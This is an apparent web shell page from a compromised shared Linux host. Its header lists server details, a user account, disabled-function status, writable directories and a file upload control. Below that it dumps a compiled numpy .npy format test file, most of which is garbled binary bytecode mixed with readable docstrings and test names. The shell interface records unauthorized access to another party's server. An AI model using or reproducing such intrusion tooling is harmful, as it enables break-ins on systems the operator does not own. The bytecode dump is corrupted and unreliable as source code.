https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/numpy/lib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/numpy/lib/tests/__pycache__/test_format.cpython-310.pyc
o

6��a]��@sdZddlZddlZddlZddlZddlZddlZddlmZddl	Z
ddlmZm
Z
mZmZmZddlmZe
je
je
je
je
je
je
je
je
je
je
je
jeg
Z gZ!e D]@Z"dD];Z#e
�$e"��%e#�Z$e
�&d��'e$�Z(e!�)e
j*ge$d�e
j*d	e$d�e(e(�+d
�e(�+d
�j,e(�+d
�ddd�ddd�fg�q[qWgd
�Z-ddgddgddggdfddgddgddggdfgZ.dddddgd�fddgfddd d!gfd"d#gZ/ddgd$dd%d$d&gddgd'dgfd(d)fd*d+ddgddggdfddgd,dd-d,d.gddgdd'gfd/d0fd1d2ddgddggdfgZ0e
j*e.e
�$e-��%d3�d�e
j*e0e
�$e/��%d3�d�e
j*e.e
�$e-��%d4�d�e
j*e0e
�$e/��%d4�d�e
j1d'd5gd�gZ2Gd6d7�d7e�Z3d8d9�Z4d:d;�Z5d<d=�Z6d>d?�Z7d@dA�Z8dBdC�Z9dDdE�Z:dFdG�Z;dHdI�Z<dJdK�Z=e
j$dLd)dM�Z>e
�$dNdOgdPdPgd'dQgdR��Z?e
�$dSdTgdPe?gdU��Z@e
�$gdV�dPgddU��ZAe
�$dNdOgdPdPgd'dQgdWdXgdY��ZBe
�$ggddZ��ZCejD�Ed[e>e?e@eAeBeCg�d\d]��ZFd^d_�ZGd`da�ZHdbdc�ZIejD�Ed[e
�$e
j$dNe
jfdOe
jfdSe
jfgd)dM�dd�e
�$dee
�$dNdOgdfdfgddgddg�dd�dhfg�e
�$dig�e
�$dee
�$e
�$e
�$dNdOgdfdfgddgddg��ddf�dhf�fg�e
�$dNe
�$e
�$e
�$e
�$dNeJfdOe
�$dNdOgdfdfgddgddg��fg�ddf�dhf�djf�fg�g�dkdl��ZKdmdn�ZLdodp�ZMdqdr�ZNgds�ZOgdt�ZPdudv�ZQdwdx�ZRdydz�ZSd{d|�ZTd}d~�ZUdd��ZVd�d��ZWd�d��ZXd�d��ZYejDjZe
�$e
j[�j\dkd�d��ejDj]d�d����Z^d�d��Z_d�d��Z`ejD�Ed�e
�$dNdOgeae
j$d�d�d�id��gdU��d)fe
j$eJd�d�id��d0fe
j$d�eJd�ffgd�d�id��d0fe
�$dNdOgeae
�$dSge
j$eJid��gdU��gdU��d0fg�d�d���ZbdS)�a�D Test the .npy file format.

Set up:

    >>> import sys
    >>> from io import BytesIO
    >>> from numpy.lib import format
    >>>
    >>> scalars = [
    ...     np.uint8,
    ...     np.int8,
    ...     np.uint16,
    ...     np.int16,
    ...     np.uint32,
    ...     np.int32,
    ...     np.uint64,
    ...     np.int64,
    ...     np.float32,
    ...     np.float64,
    ...     np.complex64,
    ...     np.complex128,
    ...     object,
    ... ]
    >>>
    >>> basic_arrays = []
    >>>
    >>> for scalar in scalars:
    ...     for endian in '<>':
    ...         dtype = np.dtype(scalar).newbyteorder(endian)
    ...         basic = np.arange(15).astype(dtype)
    ...         basic_arrays.extend([
    ...             np.array([], dtype=dtype),
    ...             np.array(10, dtype=dtype),
    ...             basic,
    ...             basic.reshape((3,5)),
    ...             basic.reshape((3,5)).T,
    ...             basic.reshape((3,5))[::-1,::2],
    ...         ])
    ...
    >>>
    >>> Pdescr = [
    ...     ('x', 'i4', (2,)),
    ...     ('y', 'f8', (2, 2)),
    ...     ('z', 'u1')]
    >>>
    >>>
    >>> PbufferT = [
    ...     ([3,2], [[6.,4.],[6.,4.]], 8),
    ...     ([4,3], [[7.,5.],[7.,5.]], 9),
    ...     ]
    >>>
    >>>
    >>> Ndescr = [
    ...     ('x', 'i4', (2,)),
    ...     ('Info', [
    ...         ('value', 'c16'),
    ...         ('y2', 'f8'),
    ...         ('Info2', [
    ...             ('name', 'S2'),
    ...             ('value', 'c16', (2,)),
    ...             ('y3', 'f8', (2,)),
    ...             ('z3', 'u4', (2,))]),
    ...         ('name', 'S2'),
    ...         ('z2', 'b1')]),
    ...     ('color', 'S2'),
    ...     ('info', [
    ...         ('Name', 'U8'),
    ...         ('Value', 'c16')]),
    ...     ('y', 'f8', (2, 2)),
    ...     ('z', 'u1')]
    >>>
    >>>
    >>> NbufferT = [
    ...     ([3,2], (6j, 6., ('nn', [6j,4j], [6.,4.], [1,2]), 'NN', True), 'cc', ('NN', 6j), [[6.,4.],[6.,4.]], 8),
    ...     ([4,3], (7j, 7., ('oo', [7j,5j], [7.,5.], [2,1]), 'OO', False), 'dd', ('OO', 7j), [[7.,5.],[7.,5.]], 9),
    ...     ]
    >>>
    >>>
    >>> record_arrays = [
    ...     np.array(PbufferT, dtype=np.dtype(Pdescr).newbyteorder('<')),
    ...     np.array(NbufferT, dtype=np.dtype(Ndescr).newbyteorder('<')),
    ...     np.array(PbufferT, dtype=np.dtype(Pdescr).newbyteorder('>')),
    ...     np.array(NbufferT, dtype=np.dtype(Ndescr).newbyteorder('>')),
    ... ]

Test the magic string writing.

    >>> format.magic(1, 0)
    '\x93NUMPY\x01\x00'
    >>> format.magic(0, 0)
    '\x93NUMPY\x00\x00'
    >>> format.magic(255, 255)
    '\x93NUMPY\xff\xff'
    >>> format.magic(2, 5)
    '\x93NUMPY\x02\x05'

Test the magic string reading.

    >>> format.read_magic(BytesIO(format.magic(1, 0)))
    (1, 0)
    >>> format.read_magic(BytesIO(format.magic(0, 0)))
    (0, 0)
    >>> format.read_magic(BytesIO(format.magic(255, 255)))
    (255, 255)
    >>> format.read_magic(BytesIO(format.magic(2, 5)))
    (2, 5)

Test the header writing.

    >>> for arr in basic_arrays + record_arrays:
    ...     f = BytesIO()
    ...     format.write_array_header_1_0(f, arr)   # XXX: arr is not a dict, items gets called on it
    ...     print(repr(f.getvalue()))
    ...
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '|u1', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '|u1', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '|u1', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '|i1', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '|i1', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '|i1', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<u2', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<u2', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<u2', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<u2', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<u2', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<u2', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>u2', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>u2', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>u2', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>u2', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>u2', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>u2', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<i2', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<i2', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<i2', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<i2', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<i2', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<i2', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>i2', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>i2', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>i2', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>i2', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>i2', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>i2', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<u4', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<u4', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<u4', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<u4', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<u4', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<u4', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>u4', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>u4', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>u4', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>u4', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>u4', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>u4', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<i4', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<i4', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<i4', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<i4', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<i4', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<i4', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>i4', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>i4', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>i4', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>i4', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>i4', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>i4', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<u8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<u8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<u8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<u8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<u8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<u8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>u8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>u8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>u8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>u8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>u8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>u8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<i8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<i8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<i8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<i8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<i8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<i8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>i8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>i8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>i8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>i8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>i8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>i8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<f4', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<f4', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<f4', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<f4', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<f4', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<f4', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>f4', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>f4', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>f4', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>f4', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>f4', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>f4', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<f8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<f8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<f8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<f8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<f8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<f8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>f8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>f8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>f8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>f8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>f8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>f8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<c8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '<c8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '<c8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '<c8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '<c8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '<c8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '>c8', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': '>c8', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': '>c8', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': '>c8', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': '>c8', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': '>c8', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': '<c16', 'fortran_order': False, 'shape': (0,)}             \n"
    "F\x00{'descr': '<c16', 'fortran_order': False, 'shape': ()}               \n"
    "F\x00{'descr': '<c16', 'fortran_order': False, 'shape': (15,)}            \n"
    "F\x00{'descr': '<c16', 'fortran_order': False, 'shape': (3, 5)}           \n"
    "F\x00{'descr': '<c16', 'fortran_order': True, 'shape': (5, 3)}            \n"
    "F\x00{'descr': '<c16', 'fortran_order': False, 'shape': (3, 3)}           \n"
    "F\x00{'descr': '>c16', 'fortran_order': False, 'shape': (0,)}             \n"
    "F\x00{'descr': '>c16', 'fortran_order': False, 'shape': ()}               \n"
    "F\x00{'descr': '>c16', 'fortran_order': False, 'shape': (15,)}            \n"
    "F\x00{'descr': '>c16', 'fortran_order': False, 'shape': (3, 5)}           \n"
    "F\x00{'descr': '>c16', 'fortran_order': True, 'shape': (5, 3)}            \n"
    "F\x00{'descr': '>c16', 'fortran_order': False, 'shape': (3, 3)}           \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': 'O', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (0,)}              \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': ()}                \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (15,)}             \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (3, 5)}            \n"
    "F\x00{'descr': 'O', 'fortran_order': True, 'shape': (5, 3)}             \n"
    "F\x00{'descr': 'O', 'fortran_order': False, 'shape': (3, 3)}            \n"
    "v\x00{'descr': [('x', '<i4', (2,)), ('y', '<f8', (2, 2)), ('z', '|u1')],\n 'fortran_order': False,\n 'shape': (2,)}         \n"
    "\x16\x02{'descr': [('x', '<i4', (2,)),\n           ('Info',\n            [('value', '<c16'),\n             ('y2', '<f8'),\n             ('Info2',\n              [('name', '|S2'),\n               ('value', '<c16', (2,)),\n               ('y3', '<f8', (2,)),\n               ('z3', '<u4', (2,))]),\n             ('name', '|S2'),\n             ('z2', '|b1')]),\n           ('color', '|S2'),\n           ('info', [('Name', '<U8'), ('Value', '<c16')]),\n           ('y', '<f8', (2, 2)),\n           ('z', '|u1')],\n 'fortran_order': False,\n 'shape': (2,)}      \n"
    "v\x00{'descr': [('x', '>i4', (2,)), ('y', '>f8', (2, 2)), ('z', '|u1')],\n 'fortran_order': False,\n 'shape': (2,)}         \n"
    "\x16\x02{'descr': [('x', '>i4', (2,)),\n           ('Info',\n            [('value', '>c16'),\n             ('y2', '>f8'),\n             ('Info2',\n              [('name', '|S2'),\n               ('value', '>c16', (2,)),\n               ('y3', '>f8', (2,)),\n               ('z3', '>u4', (2,))]),\n             ('name', '|S2'),\n             ('z2', '|b1')]),\n           ('color', '|S2'),\n           ('info', [('Name', '>U8'), ('Value', '>c16')]),\n           ('y', '>f8', (2, 2)),\n           ('z', '|u1')],\n 'fortran_order': False,\n 'shape': (2,)}      \n"
�N)�BytesIO)�assert_�assert_array_equal�
assert_raises�assert_raises_regex�assert_warns)�formatz<>i���dtype�
)��2����)��x�i4�r��y�f8�rr��z�u1�g@g@��g@g@�	r�Info)�value�c16)�y2r�Info2)��name�S2)r r!r)�y3rr)�z3�u4rr$)�z2�b1)�colorr&�info)�Name�U8)�Valuer!rr�@�nny@��NNT�cc)r4r1�@�ooy@�OOF�dd)r8r6�<�>)�c�z<f8��rcseZdZd�fdd�	Z�ZS)�BytesIOSRandomSizeNcs ddl}|�d|�}t��|�S)Nrr3)�random�randint�super�read)�self�sizerA��	__class__��=/usr/lib/python3/dist-packages/numpy/lib/tests/test_format.pyrD�szBytesIOSRandomSize.read�N)�__name__�
__module__�__qualname__rD�
__classcell__rIrIrGrJr@�sr@cCs0t�}t�||�t|���}tj|dd�}|S)NT��allow_pickle�rr�write_array�getvalue�
read_array��arr�f�f2�arr2rIrIrJ�	roundtrip�s
r[cCs,t�}t�||�t|���}t�|�}|SrK)rrrSr@rTrUrVrIrIrJ�roundtrip_randsize�s

r\cCs4t�}t�||�t|��dd��}t�|�}|S)NrrrRrVrIrIrJ�roundtrip_truncated�s

r]cCst||k�dSrK)r)�o1�o2rIrIrJ�
assert_equal_�sr`cCs$ttD]}t|�}t||�qdSrK)�basic_arrays�
record_arraysr[r�rWrZrIrIrJ�test_roundtrip�s�rdcCs.ttD]}|jtkrt|�}t||�qdSrK)rarbr
�objectr\rrcrIrIrJ�test_roundtrip_randsize�s

��rfcCs$tD]
}|jtkrttt|�qdSrK)rar
rer�
ValueErrorr]�rWrIrIrJ�test_roundtrip_truncated�s

��ricCs4tjdt�ttjdf�d�}t|�}t||�dS)Nr3r	)�np�onesr
�strr�BUFFER_SIZEr[r)�long_str_arr�
long_str_arr2rIrIrJ�
test_long_str�srpc
	CsDttt�D]�\}}|jjrqtj�|d|�d��}tj�|d|�d��}t|d��}t	�
||�Wd�n1s;wY|jjoH|jj
}t	j|d|j|j|d�}||d<|��t|d��}|��}Wd�n1sqwYt|d��}|��}	Wd�n1s�wYt||	�t	j|d	d
�}|��qdS)N�normalz.npy�memmap�wb�w+)�moder
�shape�
fortran_order.�rb�r�ru)�	enumeraterarbr
�	hasobject�os�path�join�openrrS�flags�f_contiguous�c_contiguous�open_memmaprv�flushrDr`)
�tmpdir�irW�nfn�mfn�fprw�ma�normal_bytes�memmap_bytesrIrIrJ�test_memmap_roundtrip�s2���
�
�

�r�cCsjtj�dd�}tj�|d�}tj||d�t�|��}|d}Wd�n1s)wYt||�dS)N��zcompressed.npzrhrW)	rjrA�randr}r~r�savez_compressed�loadr)r�rW�npz_file�npz�arr1rIrIrJ�test_compressed_roundtrip�s
�r�z
i1, i4, i1)�align�a�br�)�names�formats�offsetsr<�d)r�r�)r��r��aa�bb)r�r�r��titles)r�r��itemsize�dtcCs�t�d|�}td�D]}|d||<q
tj�|d�}tj||d�t�|��}|d}Wd�n1s5wYt||�dS)Nrr?zaligned.npzrhrW)	rj�zeros�ranger}r~r�savezr�r)r�r�rWr�r�r�r�rIrIrJ�test_load_padded_dtypes
�r�cCs:d}tj�tj�t�d|�}t�|�}t|t�d��dS)Nzwin64python2.npy�datar)	r}r~r�dirname�__file__rjr�rrk)�fnamer~r�rIrIrJ�%test_python2_python3_interoperabilitys
r�c	Cs�tj�tj�t�d�}tjdtddgtd�}dD]�}tj�||�}dD]T}tj	|d|d�}|�
d	�r;|d
}|��n|}|dkri|�d�rit
t|d
t��t|dd�|dd��t|d�|�|d�q#t
t|d
t��t||�q#|�d�r�|�
d	�r�tj	|dd�}tt|jd
�|��tj	|dddd�}tt|jd
�|��qtttj	|dd�tttj	|dddd�qdS)Nr�u優良s不良r	)�py2-objarr.npy�py2-objarr.npzzpy3-objarr.npyzpy3-objarr.npz)�bytes�latin1T�rQ�encodingz.npzrr��py2rrrPF)rQ�fix_importsr�)r}r~rr�r�rj�arrayr�rer��endswith�close�
startswithr�
isinstancerlr�encoder�r�UnicodeError�__getitem__�ImportError)�data_dir�expectedr�r~r��data_fr�rIrIrJ�test_pickle_python2_python3sN
��




�

�
���r�cCs�tj�tj�t�d�}tj�|d�}tttj|ddd�tj�|d�}tj|ddd��}tt|j	d�Wd�n1s=wYtj�|d�}tttj
|tjdgtd	�dd
�dS)Nr�r�Fr�r�r�rzpickle-disabled.npyr	rP)
r}r~rr�r�rrgrjr�r��saver�re)r�r�r~rXrIrIrJ�test_pickle_disallowFs
��
�r�)rr�i1)r�r�r�r�)r)rr=rr>cCs8t�|j�}t||�t�d|�}t|�}t||�dS)Nr)r�descr_to_dtype�descrr`rjr�r[r)r��dt1r�rZrIrIrJ�test_descr_to_dtypeUs
2
r�cCs�t�}dd�td�D�}tjd|d�}tj||dd�tjdd	��}t�d
dt	�t�||�t
|djt	u�Wd�n1sBwY|�d�|�
�}t
t|�tjdk�|�d�t�|�}t||�tttj||d
�dS)NcS�g|]
}d|dtf�qS�z%d�d��float��.0r�rIrIrJ�
<listcomp>��z$test_version_2_0.<locals>.<listcomp>����r	�rr��versionT��record�alwaysr�r�r3r)rr�rjrkrrS�warnings�catch_warnings�filterwarnings�UserWarningr�category�seek�readline�len�ARRAY_ALIGNrUrrrg)rXr�r��w�header�nrIrIrJ�test_version_2_0�s �



r�c	Cs(dd�td�D�}tjd|d�}tj�|d�}tj�|d�}tttj	|d|j
|jd	d
�tj	|d|j
|jdd
�}||d<|��tj	|d
d�}t
||�tjdd��,}t�ddt�tj	|d|j
|jdd
�}t|djtu�||d<|��Wd�n1s�wYtj	|d
d�}t
||�dS)NcSr�r�r�r�rIrIrJr��r�z+test_version_2_0_memmap.<locals>.<listcomp>r�r�r	zversion2_01.npyzversion2_02.npyrtr�)rur
rvr�r�.ryrzTr�r�r�r)r�rjrkr}r~rrrgrr�r
rvr�rr�r�r�r�rr�)r�r�r��tf1�tf2r�r�rIrIrJ�test_version_2_0_memmap�s2��
�
�r�c	Cs�t�}t�d�}tj||dd�t�||�tj||dd�t�||�tj||dd�t�||�gd�}|D]}ttd��tj|||d�Wd�n1sRwYq8dS)Nr3r�r�r�))r3r3)rr)rr3r)�r�z we only support format version.*)rrj�arangerrSrrg)rXrW�bad_versionsr�rIrIrJ�test_write_version�s"
����r�)s�NUMPYs�NUMPYs�NUMPYs�NUMPYs�NUMPYs�NUMPY��)s�NUMPYsNUMPYs�numpys�MATLBs�NUMPYs�NUMPY�cCs�t�}t�}tjdtd�}tj||dd�tj||dd�|�d�|�d�t�|�}t�|�}t|dk�t|dk�t|�	�tj
k�t|�	�tj
k�dS)N�rr�r	r�r�r�r)rrjrkr�rrSr��
read_magicr�tell�	MAGIC_LEN)�s1�s2rW�version1�version2rIrIrJ�test_read_magic�s



r�cCs$tD]
}t|�}tttj|�qdSrK)�malformed_magicrrrgrrU��magicrXrIrIrJ�test_read_magic_bad_magics�r�cCs(ttD]
}t|�}tttj|�qdSrK)�bad_version_magicr�rrrgrrUr�rIrIrJ�test_read_version_1_0_bad_magics�r�cCsDtttjdd�tttjdd�tttjdd�tttjdd�dS)Nrr3�)rrgrr�rIrIrIrJ�test_bad_magic_argssrcCsFt�}ddd�}t�||�t�}ddddd�}tttj||�dS)Nr3r)r�r��xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxr)r�r�r<)rr�write_array_header_1_0rrg��sr�rIrIrJ�test_large_headers
rcC�rt�}tjdtd�}tj||dd�|�tj�t�|�\}}}t	|�
�tjdk�t	|||fddtfk�dS)Nr�r	r�r�rF)rrjrkr�rrSr�r��read_array_header_1_0rr�r��rrWrv�fortranr
rIrIrJ�test_read_array_header_1_0#�rcCr)Nr�r	r�r�rF)rrjrkr�rrSr�r��read_array_header_2_0rr�r�r	rIrIrJ�test_read_array_header_2_00rrcCs�t�}tttj|�td�}tttj|�td�}tttj|�ddd�}t�}t�||�tttj|�ddddd�}t�}t�||�tttj|�dS)	N�1s�r3rr)rvr�Fr)rvrwr��extrakey)rrrgrrrrrIrIrJ�test_bad_header=s(��rcCs�tjdks
tjdkrt�d�tj�|d�}zddl}|�ddd|g�Wnt	y3t�d	�Ynwt
|d
��}|�d�t�
d�}t�||�Wd�n1sTwYt
|d
��}|�d�t�|�}Wd�n1sswYt||�dS)N�win32�cygwinz)Unknown if Windows has sparse filesystems�sparse_filer�truncatez-s�
5368709120zCould not create 5GB large filerslr?rx)�sys�platform�pytest�skipr}r~r�
subprocess�
check_call�	Exceptionr�r�rjr�r�r�r)r��tf_name�sprXr�ryrIrIrJ�test_large_file_supportXs&
�

�
�r!ztest requires 64-bit system)�reasoncCs�z
tjdtjd�}Wntyt�d�Ynwtj�|d�}t	|d��}tj
||d�Wd�n1s7wYt	|d��}t�|�d}Wd�n1sSwYt|j
|j
k�dS)	N)i@rr	zCould not create large file�
